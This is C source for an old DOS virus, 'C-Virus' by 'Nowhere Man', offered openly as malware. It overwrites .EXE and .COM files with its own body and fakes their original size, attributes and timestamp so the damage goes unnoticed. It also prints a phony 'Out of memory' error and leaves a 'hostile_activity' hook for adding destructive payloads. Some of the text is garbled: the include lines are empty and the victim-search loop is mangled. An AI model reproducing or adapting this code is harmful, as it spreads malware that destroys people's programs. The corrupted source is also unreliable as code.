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/* C-Virus: A generic .COM and .EXE infector

Written by Nowhere Man

Project started and completed on 6-24-91

Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/

#pragma inline // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection

int main(void)
{
/* The main program */

spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}

void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */

small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}

int infected(char *fname)
{
/* This function determines if fname is infected */

FILE *fp; // File handle
char sig[5]; // Virus signature

fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{

/* This function is a small, quick print routine */

asm {
push si
mov si,string
mov ah,0xE
}

print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}

void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */


/* Variable declarations */

FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files

/* Perform the infection */

#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);

#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time

/* Clean up */

fcloseall(); // Close files
free(virus_code); // Free memory
}

char *victim(void)
{
/* This function returns the virus's next victim */

/* Variable declarations */

char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop

/* Find our victim */

if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);

for (index = 0; index < done =" findfirst(types[index],"> TOO_SMALL))

return(ffblk.ff_name);
done = findnext(&ffblk);
}
}

/* If there are no files left to infect, have a little fun... */

hostile_activity();
return(0); // Prevents warning
}